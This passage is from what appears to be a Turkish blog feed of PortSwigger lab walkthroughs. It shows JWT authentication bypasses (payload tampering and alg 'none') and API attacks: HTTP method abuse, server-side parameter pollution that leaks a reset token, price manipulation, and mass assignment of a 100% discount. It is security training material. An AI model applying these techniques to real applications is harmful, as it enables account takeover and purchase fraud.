kullanıcıyı taklit ederek kimlik doğrulama ve erişim kontrollerini atlatmaktır.</p><p>JWT saldırılarının etkisi genellikle şiddetlidir. Bir saldırgan, keyfi değerlere sahip kendi geçerli token’larını oluşturabilirse, kendi ayrıcalıklarını artırabilir veya diğer kullanıcıların kimliğine bürünerek hesaplarının tam kontrolünü ele geçirebilir.</p><p>JWT saldırılarına karşı zafiyetler genellikle uygulamanın kendi içindeki hatalı JWT yönetiminden kaynaklanır. JWT’lerle ilgili çeşitli özellikler, tasarım gereği nispeten esnektir ve web sitesi geliştiricilerinin birçok uygulama ayrıntısını kendileri belirlemelerine olanak tanır. Bu durum, zorlu koşullara dayanıklı kütüphaneler kullanırken bile yanlışlıkla güvenlik açıkları oluşturmalarına neden olabilir. Bu uygulama kusurları genellikle JWT imzasının doğru bir şekilde doğrulanmadığı anlamına gelir. Bu durum, bir saldırganın token yükü aracılığıyla uygulamaya iletilen değerlere müdahale etmesine olanak tanır. İmza sağlam bir şekilde doğrulansa bile, gerçekten güvenilir olup olmadığı büyük ölçüde sunucunun gizli anahtarının gizli kalmasına bağlıdır. Bu anahtar bir şekilde sızdırılırsa, tahmin edilebilirse veya kaba kuvvetle kırılabilirse, saldırgan herhangi bir rastgele token için geçerli bir imza oluşturarak tüm mekanizmayı tehlikeye atabilir.</p><p><strong>Araçlar : Portswigger ve BurpSuite</strong></p><p><strong>Not:</strong> Labı başlatmadan önce BurpSuite’e <strong>JWT Editor</strong> eklentisinin kurulması gerekmektedir. Bunun için öncelikle BurpSuite’i başlatıyor, ardından “Extensions” sekmesine gelerek “BApp Store” bölümünden <strong>JWT Editor</strong> eklentisini aratıp <strong>Install</strong> butonuna tıklayarak kurulumu gerçekleştiriyoruz. Bu eklenti, JWT (JSON Web Token) içeren paketlerin analiz ve düzenlenmesinde bize büyük kolaylık sağlayacaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q2Vy8sUmCYkOwu_R9aXCpg.jpeg" /></figure><h3>Lab: JWT authentication bypass via unverified signature</h3><p>Bu lab, oturumları yönetmek için JWT (JSON Web Token) tabanlı bir mekanizma kullanmaktadır. Ancak uygulamadaki zafiyet nedeniyle, sunucu aldığı JWT’lerin imzasını doğrulamamaktadır.</p><p>Labı çözmek için, oturum token’ınızı değiştirerek /admin paneline erişim sağlayın ve ardından <strong>carlos</strong> adlı kullanıcıyı silin.</p><p>Kendi hesabınıza giriş yapmak için aşağıdaki kimlik bilgilerini wiener:peter kullanabilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*2tUGXlrtdurRX7pcHKiDCg.jpeg" /></figure><p>Labı başlatmadan önce BurpSuite’i aktif hale getiriyorum. Daha sonra, verilen kullanıcı bilgileriyle oturum açmak için “My Account” (Hesabım) sayfasına giderek wiener:peter bilgileriyle giriş yapıyorum. Oturum açıldıktan sonra BurpSuite üzerinden bu isteğe ait paketleri incelemeye başlıyorum. Giriş işlemi başarılı olduğu için JWT token’ını JWT Editor eklentisi sayesinde kolayca tespit edebiliyorum. Token, wiener kullanıcısına ait bilgileri içerdiğinden bu paketi daha detaylı incelemek üzere Repeater sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*BiwNIxwrI8L_zeK4lpFAVA.jpeg" /></figure><p>JWT’nin yük (payload) kısmını decode ettiğimde, token içerisinde wiener kullanıcısına ait bilgilerin yer aldığını net bir şekilde görebiliyorum. Bu da oturumun şu anda wiener kullanıcısı üzerinden yönetildiğini görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*I16LbecAxoUdXhlYQq0S5A.jpeg" /></figure><p>Payload kısmında wiener yerine administrator yazarak &quot;Apply changes&quot; seçeneğiyle değişikliği kaydediyorum. Ardından isteği /admin dizinine gönderiyorum ve başarılı bir şekilde 200 durum kodu alıyorum. Gönderilen paketi incelediğimde ise, wiener ve carlos kullanıcılarını silmem için gerekli olan dizinleri görüntüleyebiliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*YxcdVTkMEagIqakmCJXJ1g.jpeg" /></figure><p>admin/delete?username=carlos dizinine isteği gönderdiğimde, 302 yönlendirme yanıtı alarak Carlos kullanıcısını başarılı bir şekilde silmiş oluyorum. Böylece labı başarıyla tamamlamış bulunuyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*_ZJ1zinNM8kD0JWVCAGgAw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*EoNa_7j1uGKNZNqLOEvp5Q.jpeg" /></figure><h3>Lab: JWT authentication bypass via flawed signature verification</h3><p>Bu lab, oturumları yönetmek için JWT tabanlı bir mekanizma kullanmaktadır. Sunucu, imzalanmamış JWT’leri kabul edecek şekilde güvensiz bir şekilde yapılandırılmıştır.</p><p>Labı tamamlamak için, oturum belirtecinizi (token) değiştirerek <strong>/admin</strong> paneline erişim sağlayın ve ardından <strong>carlos</strong> kullanıcısını silin.</p><p>Kendi hesabınıza giriş yapmak için aşağıdaki giriş bilgilerini kullanabilirsiniz:<br><strong>Kullanıcı adı:</strong> wiener<br><strong>Şifre:</strong> peter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*HE45bF0LTEvcEsEU78KPPQ.jpeg" /></figure><p>Labı başlatmadan önce, her zamanki gibi BurpSuite’i aktif hale getiriyorum. Ardından verilen giriş bilgileriyle “My Account” (Hesabım) bölümüne giderek wiener:peter kullanıcı bilgilerini giriyorum. Giriş isteğini BurpSuite üzerinden yakalayıp analiz edebilmek için ilgili isteği Repeater sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*EDKZOg4EPYIY_opfLSOUeg.jpeg" /></figure><p>Paketi analiz ettiğimde, admin paneline erişebilmek için dizini /admin olarak değiştiriyorum. JWT payload kısmında yer alan kullanıcı adını wiener yerine administrator olarak güncelliyor ve “Apply Changes” diyerek kaydediyorum. Ancak bu şekilde düzenlenmiş paketi gönderdiğimde sunucu bana 401 Yetkisiz (Unauthorized) hatası döndürüyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*4IEu5MJzbRtHgvdf6IbwRw.jpeg" /></figure><p>Blog yazımın başında da belirttiğim gibi, <strong>JWT (JSON Web Token)</strong> üç ana kısımdan oluşur: Header, Payload (yani Body) ve Signature (İmza). Bu yapının her biri, token&#39;ın güvenliğini ve doğruluğunu sağlamada önemli bir rol oynar.</p><p>Bu lab senaryosunda, <strong>Header kısmında yer alan </strong><strong>&quot;alg&quot;: &quot;RS256&quot; değeri</strong>, token&#39;ın <strong>RSA tabanlı bir dijital imza algoritmasıyla imzalandığını</strong> ifade eder. Yani, bu token&#39;ın doğruluğunu sağlamak için bir açık anahtar/kamusal anahtar kriptografisi kullanılmaktadır. Ancak burada kritik bir zafiyet devreye giriyor.</p><p>Ben bu alg (algorithm) kısmını <strong>&quot;none&quot;</strong> olarak değiştiriyorum. Peki bu ne anlama geliyor?</p><p>&quot;alg&quot;: &quot;none&quot; demek, bu token&#39;ın <strong>hiçbir şekilde imzalanmadığını</strong>, yani sunucunun token’ı <strong>doğrulamak için hiçbir güvenlik kontrolü yapmayacağını</strong> ifade ediyor. Bu, güvenli bir sistemde asla kabul edilmemesi gereken bir durumdur. Ancak zafiyetli sistemlerde bu bazen yanlışlıkla aktif olabilir.</p><p>Bu değişikliği yaptıktan sonra, token’ın <strong>Signature (imza) kısmını tamamen kaldırıyorum</strong>. Çünkü alg: none kullanıldığında, zaten herhangi bir imzaya gerek duyulmuyor. Sunucu, token’ı doğrulamak için imza kısmına bakmıyor bile.</p><p>Sonrasında bu düzenlenmiş paketi gönderdiğimde, sunucu bana <strong>200 OK</strong> cevabını döndürüyor. Yani sistem, imzasız ve manipüle edilmiş bir JWT’yi kabul ediyor ve oturumu doğrulanmış gibi işlemeye devam ediyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*V6M3nemBo4oiWuidc_29mw.jpeg" /></figure><p><strong>Response</strong> (yanıt) kısmını incelediğimde, <strong>Carlos</strong> adlı kullanıcıyı silmem için gerekli olan dizin bilgisi bana sunulmuştu. Bu dizine ait isteği gönderdiğimde, sunucu <strong>302 yönlendirme</strong> koduyla yanıt verdi ve bu da silme işleminin başarılı olduğunu gösterdi. Böylece, lab senaryosunu başarıyla tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*VdkJu75Y3sK-A3RwtNIwaQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*FXfo9OTnJSejsnphlmSPug.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84c85b7aa29e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger API Lab Çözümleri]]></title>
            <link>https://medium.com/@eneskurtlan/api-nedir-d145f7c4cb2e?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/d145f7c4cb2e</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[api-security-testing]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Thu, 17 Jul 2025 09:16:24 GMT</pubDate>
            <atom:updated>2025-07-17T09:19:45.981Z</atom:updated>
            <content:encoded><![CDATA[<h3>API Nedir?</h3><p>API, İngilizce “Application Programming Interface” yani <strong>Uygulama Programlama Arayüzü</strong> teriminin kısaltmasıdır. En basit haliyle, iki yazılım bileşeni arasında iletişim kurmayı sağlayan bir köprü görevi görür. Bu köprü, sistemlerin birbiriyle nasıl konuşacağını tanımlayan kurallar ve protokollerden oluşur.</p><p>API’ler, geliştiricilerin bir sistemin iç işleyişini bilmeden, o sistemin sunduğu hizmetleri kullanabilmesini sağlar. Örneğin bir sosyal medya platformunun API’si aracılığıyla, platformun veritabanına veya altyapısına dair teknik bilgiye sahip olmadan içerik paylaşabilir veya kullanıcı bilgilerine ulaşabilirsiniz. Bu sayede karmaşık sistemlerle sade bir şekilde etkileşim kurulabilir ve yazılım geliştirme süreci oldukça hızlanır.</p><p>Bir API, aynı zamanda bir sistemin dış dünyaya sunduğu bir sözleşme gibidir. Bu sözleşme; hangi işlevlerin kullanılabileceğini, bu işlevlere nasıl erişileceğini, hangi veri formatlarının kullanılacağını ve iletişimin nasıl gerçekleştirileceğini tanımlar.</p><h3><strong>API Testing Nedir?</strong></h3><p><strong>API Testing (API Testi)</strong>, yazılım sistemleri ve uygulamalar arasında veri alışverişi sağlayan API’lerin güvenliğini, sağlamlığını ve doğruluğunu test etme sürecidir. API’lerde meydana gelebilecek açıklar; bir web uygulamasının gizliliğini, bütünlüğünü ve erişilebilirliğini doğrudan tehdit edebilir. Bu nedenle API testleri, modern web uygulamalarının güvenliği açısından kritik öneme sahiptir.</p><p>Bu sebeple, API güvenliğini daha iyi kavrayabilmek ve gerçek senaryolar üzerinde pratik yapabilmek için Burp Suite’in API testlerine özel hazırlanmış eğitim ortamını kullanacağız. Bu odada, API’lerde sıkça karşılaşılan güvenlik açıklarını keşfedecek, bu açıkların nasıl sömürülebileceğini ve nasıl önlenmesi gerektiğini uygulamalı olarak öğreneceğiz.</p><p>Araçlar: PortSwigger ve BurpSuite</p><h3>Lab: Exploiting an API endpoint using documentation</h3><p>Lab’ı çözmek için, ifşa edilmiş API dokümantasyonunu bulup carlos kullanıcısını silmeniz gerekmektedir.<strong><br></strong>Kendi hesabınıza aşağıdaki giriş bilgileriyle giriş yapabilirsiniz:<strong><br>wiener:peter</strong></p><p>Gerekli bilgiler için portswigger tarafından sağlanan dökümanları da inceleyebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*rmmLQd8Uiu6T3ir6xT85jQ.jpeg" /></figure><p>Lab’a başlamadan önce her zaman olduğu gibi BurpSuite aktif hale getirerek lab başlatıyorum. Bana verilen<strong> wiener:peter</strong> kullanıcı bilgileri ile giriş yapıyorum. Açılan pencerede bana mail güncelleyebileceğimi göstermektedir. Maili güncellerken Burp ile bu paketi yakalıyayıp analiz etmek için<strong> Repeater’a</strong> gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*QnSJMqdZNd0U4P2FYKnjQA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*BqZEZbCTH_5OqVcjm_BWrQ.jpeg" /></figure><p>Yakaladığım istekte, kullanıcıya ait e-posta değişikliğinin yapıldığını görüyorum. Bu istek, sunucuya <strong>PATCH</strong> yöntemiyle gönderiliyor. Ben ise bu endpoint’e hangi HTTP metodlarının desteklendiğini öğrenmek amacıyla <strong>OPTIONS</strong> isteği gönderiyorum.</p><p><strong>OPTIONS</strong> metodu, bir endpoint’in hangi HTTP metodlarını desteklediğini öğrenmek için kullanılır. Bu istek sonucunda sunucu, desteklenen metodları döner.</p><p>Gelen yanıtta ise şu metodlar listeleniyor:</p><ul><li><strong>GET</strong>: Sunucudan veri almak için kullanılır.</li><li><strong>DELETE</strong>: Sunucudaki mevcut veriyi silmek için kullanılır.</li><li><strong>PATCH</strong>: Mevcut veride kısmi güncelleme yapmak için kullanılır.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*9hjiiORsEY1HQpVa45G7NA.jpeg" /></figure><p>Lab, benden <strong>Carlos</strong> kullanıcısını silmemi istediği için <strong>DELETE</strong> metodunu kullanmam gerekiyor. Ayrıca, hedef kullanıcıya özgü işlem yapılabilmesi için endpoint’i <strong>/api/user/Carlos</strong> şeklinde değiştirmem gerekiyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*BDJ0cS2xCALW9cUUdOeu1g.jpeg" /></figure><p>Böylece lab başarılı bir şekilde tamamlamış olduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*bYFEvEADNGDWaqk7cN9iNQ.jpeg" /></figure><p>Bu lab çalışmasında, API dokümantasyonunun açık olması nedeniyle oluşabilecek bir güvenlik zafiyetini başarıyla analiz ettik. Özellikle HTTP metodları arasında yer alan <strong>OPTIONS</strong>, <strong>PATCH</strong> ve <strong>DELETE</strong> gibi yöntemlerin nasıl çalıştığını pratikte görme fırsatımız oldu. Sonuç olarak, doğru endpoint’i ve metodu kullanarak <strong>Carlos</strong> kullanıcısını silerek lab’ı başarıyla tamamladık.</p><h3><strong>Lab: Exploiting server-side parameter pollution in a query string</strong></h3><p>Labı çözmek için administrator olarak giriş yapıp carlos’u silmeniz gerekmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*IE-FpkRB4VPf91SgGD4UNg.jpeg" /></figure><p>BurpSuite’i aktif ederek labı başlatıyorum. Açılan sayfada “My Account” bölümünden giriş yapmam gerekiyor, ancak bana giriş bilgileri verilmemiş. Bu yüzden “Parolamı Unuttum” seçeneğine tıklayarak kullanıcı adını “administrator” olarak giriyorum. Sistem ise mailimi kontrol etmem gerektiğini söylüyor. Fakat maile erişimim olmadığından, BurpSuite ile bu istekleri yakalayıp detaylıca inceliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*nOcFOBP-wgZh-CHF3GchiQ.jpeg" /></figure><p>Şifremi unuttum seçeneğine tıkladığımda gönderilen istekler arasında bir .js dosyası bulunuyor. Bu dosyada, eğer URL’de <strong>reset-token</strong> parametresi varsa kullanıcıyı otomatik olarak <strong>/forgot-password?reset_token=...</strong> sayfasına yönlendiriyor. Yani parola sıfırlama işlemi bu token üzerinden yönetiliyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*ZrYNkGt5cCXFEErKbp3reQ.jpeg" /></figure><p>Diğer bir istekte, parola sıfırlamak istediğimiz kullanıcıya ait bilgiler gönderilmektedir. İncelediğim pakette, <strong>csrf=3WS8KKN7hL5uZLKhaBLzl1Y3P0uXyeM7&amp;username=administrator</strong> parametreleri ile istek yapılmaktadır. Bu isteğin davranışını anlamak için farklı parametreler deniyorum. Örneğin, <strong>csrf=3WS8KKN7hL5uZLKhaBLzl1Y3P0uXyeM7&amp;username=administrator&amp;username=Carlos</strong> şeklinde bir istek gönderdiğimde aşağıdaki cevabı alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*SE5Z_9jzKgOeSP9P9jV1FQ.jpeg" /></figure><p>csrf=…&amp;username=administrator%26username=Carlos</p><p>Burada username parametresine administrator&amp;username=carlos şeklinde tek bir string olarak değer atanmış. <strong>%26</strong> URL kodlaması ile <strong>&amp;</strong> karakteri anlamına geliyor, yani aslında sunucuya şu gönderiliyor:</p><p>username = “administrator&amp;username=carlos”</p><p>Yani bu, sunucu tarafından tek bir kullanıcı adı olarak algılanıyor ve “administrator&amp;username=carlos” diye bir kullanıcı adı arıyor. Tabii böyle bir kullanıcı yok, o yüzden varsayılan olarak sadece <strong>administrator</strong> kullanıcısının mail adresini gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*sYtORVdOOYnZRs4_dBYong.jpeg" /></figure><p>Bu nedenle <strong>username</strong> parametresine yönelik bir brute-force saldırısı gerçekleştirmeye karar veriyorum. Amacım, sistemde tanımlı fakat kullanıcı arayüzünde görünmeyen özel kullanıcı adlarını veya beklenmedik sistem davranışlarını tetikleyebilecek parametreleri tespit etmek. İsteği Burp Suite’in <strong>Intruder</strong> aracına gönderiyor ve parametre listesi olarak <strong>&quot;Server-side variable names&quot;</strong> adlı hazır wordlist’i kullanıyorum. Ardından <strong>Start attack</strong> diyerek brute-force işlemini başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*tSQPOvoImXhH4cNvMIMcTw.jpeg" /></figure><p>Başlattığım brute-force saldırısında, response’lardaki <strong>length (uzunluk)</strong> değerlerini incelediğimde bazı isteklerde farklılık olduğunu fark ediyorum. Bu farklılık, belirli bir parametrenin sunucu tarafından işlendiğini gösteriyor olabilir. Bu nedenle <strong>username</strong> parametresi yerine, sunucunun dikkat ettiği asıl alanın <strong>fiel</strong>d olabileceğini düşünüyor ve saldırıyı bu parametre üzerinden denemeye karar veriyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*c5bUWCsqvFK_qxnfjc-eog.jpeg" /></figure><p><strong>field=reset_token</strong> parametresini göndermemin sebebi, daha önce incelediğim JavaScript dosyasında yer alan şu kod bloğudur:<br> <strong>window.location.href = &quot;/forgot-password?reset_token=${resetToken}&quot;;</strong>.<br> Bu kod, şifre sıfırlama işleminde reset_token adında bir parametrenin kullanıldığını gösteriyor. Bu nedenle brute-force saldırımı field=reset_token şeklinde yaparak gönderdim. İsteğe gelen response içinde <strong>&quot;result&quot;:&quot;3rhg3osir55z4sdgtvplz7zwdtnd7kcz&quot;</strong> gibi bir değer dönmektedir. Bu da büyük olasılıkla Carlos’a ait şifre sıfırlama token’ıdır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*Z4SR_-Z4SIRvlwhtQClMuA.jpeg" /></figure><p>Elde ettiğim token bilgisini kullanarak <strong>/forgot-password?reset_token=3rhg3osir55z4sdgtvplz7zwdtnd7kcz</strong> dizinine gidiyorum. Bu sayfa, şifre sıfırlama arayüzünü başarıyla açmaktadır. Böylece administrator kullanıcısının parolasını sıfırlama yetkisine sahip olmuş oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*b7AKdzR-cI40Nejs1TTMbw.jpeg" /></figure><p>Administrator hesabı ve belirlediğimiz yeni parola ile sisteme giriş yaptıktan sonra admin paneline ulaşıyoruz. Panel üzerinden Carlos kullanıcısını silerek labı başarılı bir şekilde tamamlamış oluyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*2NP8kAPkjPUm8yBAhqZ5Kg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*xIpzXKDq5THA7SXwveYiEA.jpeg" /></figure><p>Bu lab, istemci tarafında görünen JavaScript dosyaları aracılığıyla parola sıfırlama mekanizmasındaki zafiyetin nasıl keşfedilebileceğini gösterdi. reset_token değerinin brute-force edilerek elde edilmesi ve bununla parola sıfırlama işleminin yapılabilmesi, sistemin kullanıcı doğrulamasında yeterli kontrol sağlamadığını ortaya koydu. Bu tür zafiyetler, saldırganlara yetkisiz hesap erişimi kazandırabilir. Gerçek sistemlerde, bu gibi token’lar benzersiz, tahmin edilemez ve süresi sınırlı olmalıdır. Böylece kritik hesaplara yetkisiz erişim önlenebilir.</p><h3><strong>Lab: Finding and exploiting an unused API endpoint</strong></h3><p>Gizli bir API uç noktasını (<strong>endpoint</strong>) kullanarak <strong>Lightweight l33t Leather Jacket</strong> adlı ürünü satın al.</p><p>Kendi hesabına giriş yapmak için aşağıdaki kimlik bilgilerini kullanabilirsin: wiener:peter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*PtEsU10G15CqbBQleHQIvQ.jpeg" /></figure><p>Burp Suite’i aktif hale getirdikten sonra, verilen kullanıcı bilgileriyle giriş yapıyoruz. Ardından bizden istenen ceketi satın alıyor ve bu satın alma isteğini Burp aracılığıyla yakalayarak Repeater sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*w-IvObKnRzMSoZIDePNIXA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ebqELpxAjGtEoz3gDuvHxA.jpeg" /></figure><p>Paketi incelediğimde, hangi istek türlerini desteklediğini öğrenmek için <strong>OPTIONS</strong> metoduyla bir istek gönderiyorum. Gelen yanıtta sunucunun <strong>GET ve PATCH</strong> komutlarını desteklediğini görüyorum; GET, veriyi görüntülemek için, PATCH ise var olan veriyi güncellemek için kullanılır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*6GI_k7A_Cj3n9jR9XT65uA.jpeg" /></figure><p>PATCH isteğini incelediğimde, sunucunun <strong>Content-Type</strong> başlığının <strong>application/json</strong> olarak belirtilmesini beklediğini görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*J8dumI50NXaeOthcVFEuRg.jpeg" /></figure><p>İsteğe <strong>Content-Type: application/json</strong> başlığını ekleyerek gönderdiğimde, sunucu bana <strong>Internal Server Error (500)</strong> hatası döndü. Bu hatanın nedeni, istekte gerekli veriyi göndermemiş olmam.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*K3dn7HsesoJo-7i1bBEfmA.jpeg" /></figure><p>Sunucu bu istekte benden bir veri beklediği için <strong>&quot;price&quot;: &quot;$1337.00&quot;</strong> değerini gönderiyorum. Ancak sunucu, price parametresi geçerli ve negatif olmayan bir tam sayı olmalıdır uyarısını veriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Q_r-AXauL5t6BOmncvDaAA.jpeg" /></figure><p><strong>price</strong> değerini <strong>0</strong> olarak gönderdiğimde, sunucu isteği başarılı bir şekilde kabul ediyor ve ürünün sepet fiyatı 0 olarak güncelleniyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*D-txdntq-Tgu_EUkuFZS4g.jpeg" /></figure><p>Böylece ürünü sepete ekleyerek, labı başarılı bir şekilde tamamlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*Gv1GyONT3tC1CQZokr1JzQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*gH_wsoBOI0vBz3C3hrWq2w.jpeg" /></figure><h3><strong>Lab: Exploiting a mass assignment vulnerability</strong></h3><p>Lab’ı çözmek için, bir <em>mass assignment</em> (kitle atama) zafiyetini bulup bunu kullanarak <strong>Lightweight l33t Leather Jacket</strong> ürününü satın alın.<br> Sisteme giriş yapmak için size verilen kullanıcı bilgileri: <strong>wiener:peter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*yq7yYKZ6R7XqNu0rUD4KMw.jpeg" /></figure><p>Burp Suite’i aktif hale getirerek <strong>wiener:peter</strong> kullanıcısı ile giriş yapıyorum. Benden istenen <strong>Lightweight l33t Leather Jacket</strong> ürününü sepete ekliyorum. Ancak, satın alma işlemini onaylamak istediğimde sistem, yeterli bakiyem olmadığını belirtiyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*sp2tEVtNsNiyDMarRuHKbw.jpeg" /></figure><p>Burp Suite ile paketleri incelediğimde, <strong>/api/checkout</strong> URL’si dikkatimi çekiyor. Çünkü bu istek, sepeti onaylarken gönderilen ve ürünle ilgili <strong>fiyat</strong>, <strong>id</strong> gibi önemli parametreleri içeren bir pakettir. Bu nedenle isteği daha detaylı analiz edebilmek için <strong>Repeater</strong> sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*j16_kl82FiKYoyQMwSvvcg.jpeg" /></figure><p>Paketi incelediğimde <strong>“chosen_discount”</strong> parametresi dikkatimi çekiyor. Bu parametre, bir indirim değerini temsil ediyor gibi görünüyor. Eğer bu parametreyi <strong>POST</strong> isteğiyle manuel olarak gönderirsem, indirimi kendim belirleyebilir ve ürünü satın almak için gerekli olan tutarı düşürebilirim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*CsajABG9b32fjVA1NwQe6w.jpeg" /></figure><p>İndirim kodu alanına değeri <strong>200</strong> olarak girdiğimde, sunucudan <strong>“Invalid percentage discount: 200”</strong> (Geçersiz yüzde indirimi: 200) şeklinde bir yanıt alıyorum. Bu da gösteriyor ki sistem, %100&#39;ün üzerinde bir indirim oranına izin vermiyor. Yani, ürünü ücretsiz alabilmek için indirim oranını <strong>%100</strong> olarak ayarlamak yeterli olacaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*8XdQF37kMpTiu7fv-zH6YA.jpeg" /></figure><p>Bu nedenle indirim değerini <strong>100</strong> olarak ayarlayıp isteği tekrar gönderiyorum. Sunucudan gelen yanıt <strong>201 Created</strong> oluyor, yani indirim başarıyla uygulanmış ve işlem başarılı bir şekilde tamamlanmış oluyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*J2n_2UoO8KohUTW0XbHP2Q.jpeg" /></figure><p>Böylece, ürün için %100 indirim uygulayarak <strong>Lightweight l33t Leather Jacket</strong> satın almayı başardık ve lab’ı başarılı bir şekilde tamamlamış olduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*ajkPYOxtYcq1L6dN60_4aQ.jpeg" /></figure><p>Bu labda, <strong>mass assignment (kitle atama)</strong> zafiyetinden faydalanarak sistemin kullanıcıdan beklenmeyen bir parametreyi (chosen_discount) işleyip kabul ettiğini gördük. Bu açıklık sayesinde indirim oranını %100 yaparak ürünü ücretsiz şekilde satın alabildik.</p><p>Mass assignment gibi zafiyetler, geliştiricilerin istemciden gelen verileri yeterince filtrelememesi veya kontrol etmemesi durumunda ortaya çıkar. Bu yüzden, özellikle API tasarımlarında sadece izin verilen parametrelerin işlenmesi büyük önem taşımaktadır.</p><h3><strong>Lab: Exploiting server-side parameter pollution in a REST URL</strong></h3><p>Laboratuvarı çözmek için yönetici olarak giriş yapın ve carlos’u silmemiz istenmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*MEj0Czz2MB3kqjTiSWOPuQ.jpeg" /></figure><p>Herhangi bir kullanıcı giriş bilgisi verilmediği için “Parolamı unuttum” seçeneğini kullanıyorum. Bu alanda bir kullanıcı adı girdiğimde, sistem parolanın e-posta adresine gönderildiğini belirtiyor. Ancak e-posta erişimim olmadığından dolayı BurpSuite üzerinden paketleri analiz etmeye başlıyorum. İncelediğim istekler arasında özellikle <strong>forgotPassword.js</strong> dosyası dikkatimi çekiyor. Bu dosyanın detaylarını analiz edebilmek için isteği Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*QCd9CpXNUIUkbow20jZwfQ.jpeg" /></figure><p>Paketi incelediğimde, parolayı sıfırlamak için <strong>/forgot-password?passwordResetToken=</strong> dizinine yönlendirilmem gerektiğini anlıyorum. Bu dizine giderek örneğin <strong>/forgot-password?passwordResetToken=administrator</strong> gibi farklı parametreler denesem de hata alıyorum. Bunun üzerine, BurpSuite&#39;in &quot;HTTP history&quot; sekmesine geçerek önceki isteklere ait diğer paketleri detaylı şekilde analiz etmeye devam ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*Vyw8tltORUABJpXQLwecLw.jpeg" /></figure><p>“Parolanızı mı unuttunuz?” adımında kullandığım kullanıcı adı olan <strong>wiener</strong> ile yapılan isteği BurpSuite üzerinden yakalayıp Repeater’a gönderiyorum. Bu paketi analiz etmemdeki amaç, kullanıcıya ait reset token’ı elde ederek, bir sonraki istekte bu token’ı kullanarak parolayı sıfırlamaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*qvdXN2eL4fmMC0xq19Ak8g.jpeg" /></figure><p><strong>username</strong> parametresine farklı değerler gönderdiğimde, önceki denemelerde (örneğin: <strong>username=administrator</strong>, <strong>username=Carlos</strong>) sistem hep aynı yanıtı döndürüyordu. Ancak belirli bir parametre denemesinde, önceki yanıtlardan farklı bir hata mesajı aldım. Bu durum, sistemin bu parametreye farklı bir şekilde tepki verdiğini ve arka planda özel bir işleme tabi tuttuğunu düşündürmektedir.</p><figure><img alt="" 